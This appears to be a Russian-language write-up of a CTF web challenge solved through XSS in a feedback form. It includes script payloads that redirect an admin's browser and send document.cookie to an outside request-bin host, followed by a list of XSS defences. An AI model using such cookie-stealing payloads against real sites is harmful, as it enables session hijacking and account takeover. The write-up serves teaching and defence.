Разбираем одиннадцатую задачку из нашего соревнования CTF. Задание называется eagle eye, дают 1000 баллов за флаг.
Забегая вперёд, скажу, что эта задачка на XSS уязвимость.
XSS (Cross-Site Scripting — межсайтовый скриптинг) — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
Ссылки
Решение
Переходим на сайт задания.
У нас обычный сайт-визитка. Единственное, с чем можно взаимодействовать — это форма обратной связи. Попробуем XSS. В качестве внешнего сервера используем сайт:
Пишем скрипт, который отправит нам на внешний сайт что-нибудь.
<script>location.href='https://postb.in/juk1M7LP/?hack=ctf';</script>
Если админ откроет письмо и наш код сработает, то мы перенаправим его куда хотим.
Смотрим результат:
Становится понятно, что комп админа не защищён от XSS. Как эксплуатировать уязвимость? Классический способ — утащить куки админа, вдруг там есть идентификатор сессии, который позволит нам войти в админку сайта? Тырим куки:
<script>location.href='https://postb.in/juk1M7LP/?hardhack='+document.cookie;</script>
Смотрим результат:
Нам упростили задачку, в куках админа находится сам флаг!
Безопасность
- Защита на стороне сервера.
- Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере.
- Кодирование входных данных.;
- Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. Nessus, например.
- Указание кодировки на каждой web-странице .
- Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием TLS.
- Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
- Защита на стороне клиента.
- Регулярное обновление браузера до новой версии.
- Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска.